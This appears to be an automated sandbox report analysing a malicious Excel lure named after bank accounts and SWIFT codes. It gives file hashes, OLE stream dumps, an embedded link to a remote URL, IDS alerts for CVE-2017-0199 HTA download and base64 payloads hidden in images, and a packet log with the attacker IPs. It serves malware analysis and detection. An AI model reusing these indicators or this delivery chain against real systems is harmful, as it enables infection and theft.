Size (bytes):	114176
Entropy (8bit):	7.81144892984142
Encrypted:	false
SSDEEP:	3072:lTAgWX3KR9pICih78eNlaChr4lj1DH17seId6QCn5:lTAGNfmg28C5gHhs/d6j5
MD5:	7F553280F974B302299FAFA2262D681C
SHA1:	4DDF621DBDB21A501AA1C523AE7D26758F7DE5D4
SHA-256:	8321703F80E3C2BC2E34A151AEA495886D74CC03B85204BDA0FEADA954374CCF
SHA-512:	6304D9999B1A34D2D588B52CE5B0844CB48BD6A88CCE77BFD7FD42B8389D0A4BA5A4490D37F88B5A06545D23DA8C1155AA434ED8BC11FC7456D908124B598C6E
Malicious:	false
Preview:	......................>...................................9...................\|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...........;.......=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\46930000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Cuentas bancarias y cdigo ##Swift incorrecto.xla.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Jul 3 17:03:51 2024, Security: 1
Category:	dropped
Size (bytes):	114176
Entropy (8bit):	7.81144892984142
Encrypted:	false
SSDEEP:	3072:lTAgWX3KR9pICih78eNlaChr4lj1DH17seId6QCn5:lTAGNfmg28C5gHhs/d6j5
MD5:	7F553280F974B302299FAFA2262D681C
SHA1:	4DDF621DBDB21A501AA1C523AE7D26758F7DE5D4
SHA-256:	8321703F80E3C2BC2E34A151AEA495886D74CC03B85204BDA0FEADA954374CCF
SHA-512:	6304D9999B1A34D2D588B52CE5B0844CB48BD6A88CCE77BFD7FD42B8389D0A4BA5A4490D37F88B5A06545D23DA8C1155AA434ED8BC11FC7456D908124B598C6E
Malicious:	false
Preview:	......................>...................................9...................\|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...........;.......=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\~$Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	modified
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Jul 2 08:19:03 2024, Security: 1
Entropy (8bit):	7.760469902156288
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx
File size:	164'352 bytes
MD5:	b3b485912e2457ca61dc4481e204385a
SHA1:	823436e03fcfc203877217d95fbb6ca3bfb78b31
SHA256:	896a8259f8f9e5591c8f6bc3346c0b123a6b50efde85fbe8e913d1ec5af9f3a7
SHA512:	4b6167bf88cb01bedb60ba314532e12657fb213bdf5a72b83de44d7a932508e6ba3ef0dcc3e09cfd4dd49450c0dea9193675a03e54e76fb4ac9a353fdbf5c70e
SSDEEP:	3072:f8tq3KR9pqmLX13vW8fHXuImFlS+E7Ec7K8gaWnz7Wcw/bZY7f4:f6NHLX1fWLFlUV9Izfw
TLSH:	C2F30138B2A6D401D08724BE8CC9E09B6211FD42FE96694F31C8BF2F49397E5C657A47
File Content Preview:	........................>...................................A...................d..............................................................................................................................................................................

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-07-02 07:19:03
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . g . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 31 17 00 67 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . 6 . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 31 17 36 0c 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . K . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 31 17 a3 4b 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . + . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 31 17 2b 9d 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.3020681057018666
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . P . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD000391C8/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD000391C8/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000391C8/Package, File Type: Microsoft Excel 2007+, Stream Size: 31533

General
Stream Path:	MBD000391C8/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	31533
Entropy:	7.708123809242454
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . c . 7 . . . U . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 63 c2 18 37 9c 01 00 00 55 06 00 00 13 00 d6 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d2 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD000391C9/\x1Ole, File Type: data, Stream Size: 444

General
Stream Path:	MBD000391C9/\x1Ole
CLSID:
File Type:	data
Stream Size:	444
Entropy:	4.596380200058574
Base64 Encoded:	False
Data ASCII:	. . . . - T 6 8 . . . . . . . . . . . . L . . . y . . . K . H . . . h . t . t . p . : . / . / . h . o . p . . . f . y . i . / . p . p . l . t . L . . . B * C q r ? . . X . . " 8 . . . . . . . . . . . . . . . . . . . . P . P . I . k . j . g . 4 . E . k . 1 . F . 5 . r . A . 7 . P . 4 . 2 . c . g . h . g . p . 3 . f . T . 5 . 8 . 9 . h . z . u . t . f . s . F . 4 . Y . j . r . z . o . q . F . e . N . U . 0 . x . Q . E . F . 2 . A . c . e . U . 3 . I . 8 . 3 . A . p . 5 . l . 3 . A . F . 4 . y . x . s . w . P
Data Raw:	01 00 00 02 2d a8 99 54 97 36 a0 38 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 48 00 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 68 00 6f 00 70 00 2e 00 66 00 79 00 69 00 2f 00 70 00 70 00 6c 00 74 00 4c 00 00 00 42 f6 2a 43 a9 b1 71 ec f9 e5 a2 f3 72 3f d9 10 15 58 91 15 ea 03 ec 22 38 86 eb f3 d0 d8 ff ff ff ff 00 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 117017

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	117017
Entropy:	7.9938003003893385
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . } . . z _ 3 . x B . Q . . g . b . u . . U $ ' . . . . . . . . . . U . . . \\ . p . . 3 W . C : [ 8 r . d . 7 . < 5 7 I h . ' . r H . u . N . $ a . n { H b 1 / ^ m e . h m j ! ] ~ + . . w 3 . % . * . S ? x c B . . . . a . . . . . . = . . . } ) X . . . + R 3 R 6 u f = . . . . F . . . . . . . . @ = . . . . . e . . . - . . . = . . . P . ^ . . \| . @ . . . G q . . . " . . . . . . . . Q . . . 6 . . . 9 m 1 . . . Z . . . . g . . d . \\ . . 1 . . . & ~ ` . _ . A
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 7d 1b 8e ce ea cf ca d1 0c f3 7a 5f 33 0c e0 e4 78 42 04 eb a2 fb 51 18 da af d9 67 c5 0e 62 0a 93 a4 75 cc 16 cf f6 09 84 a1 55 bd 9c 96 24 27 87 00 00 00 e1 00 02 00 b0 04 c1 00 02 00 e1 55 e2 00 00 00 5c 00 70 00 14 33 ef 57 1a cf fa 43 3a e7 20 5b 38 72 1b 64 ae 16 37 e4 ec 9f 95 91 3c 35

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 525

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	525
Entropy:	5.1879617710632235
Base64 Encoded:	True
Data ASCII:	I D = " { D 2 2 9 D 0 8 B - 1 B 4 F - 4 F 9 7 - A B 5 F - 8 7 E 0 A 3 F D 3 2 1 0 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 0 E 0 C F 6 1 1 1 E 3 3 3 7 3 7 3
Data Raw:	49 44 3d 22 7b 44 32 32 39 44 30 38 42 2d 31 42 34 46 2d 34 46 39 37 2d 41 42 35 46 2d 38 37 45 30 41 33 46 44 33 32 31 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.988033398476316
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.359640370800944
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 94 a0 94 68 0d 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-18:03:46.611600	TCP	2020424	ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1	80	49172	198.46.178.144	192.168.2.22
07/03/24-18:03:28.517103	TCP	2024449	ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	49168	80	192.168.2.22	198.46.178.144
07/03/24-18:03:45.426374	TCP	2018856	ET TROJAN Windows executable base64 encoded	80	49171	91.92.254.194	192.168.2.22
07/03/24-18:03:26.763057	TCP	2024449	ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	49166	80	192.168.2.22	198.46.178.144
07/03/24-18:03:45.748672	TCP	2049038	ET TROJAN Malicious Base64 Encoded Payload In Image	80	49171	91.92.254.194	192.168.2.22
07/03/24-18:03:45.506573	TCP	2047750	ET TROJAN Base64 Encoded MZ In Image	80	49171	91.92.254.194	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 18:03:26.151053905 CEST	49165	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:26.156032085 CEST	80	49165	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:26.156150103 CEST	49165	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:26.156271935 CEST	49165	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:26.161662102 CEST	80	49165	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:26.746568918 CEST	80	49165	192.185.89.92	192.168.2.22
Jul 3, 2024 18:03:26.746742964 CEST	49165	80	192.168.2.22	192.185.89.92
Jul 3, 2024 18:03:26.757945061 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:26.762902021 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:26.762989044 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:26.763056993 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:26.767810106 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269331932 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269356012 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269366980 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269568920 CEST	49166	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:27.269629955 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269640923 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269646883 CEST	80	49166	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:27.269651890 CEST	80	49166	198.46.178.144	192.168.2.22
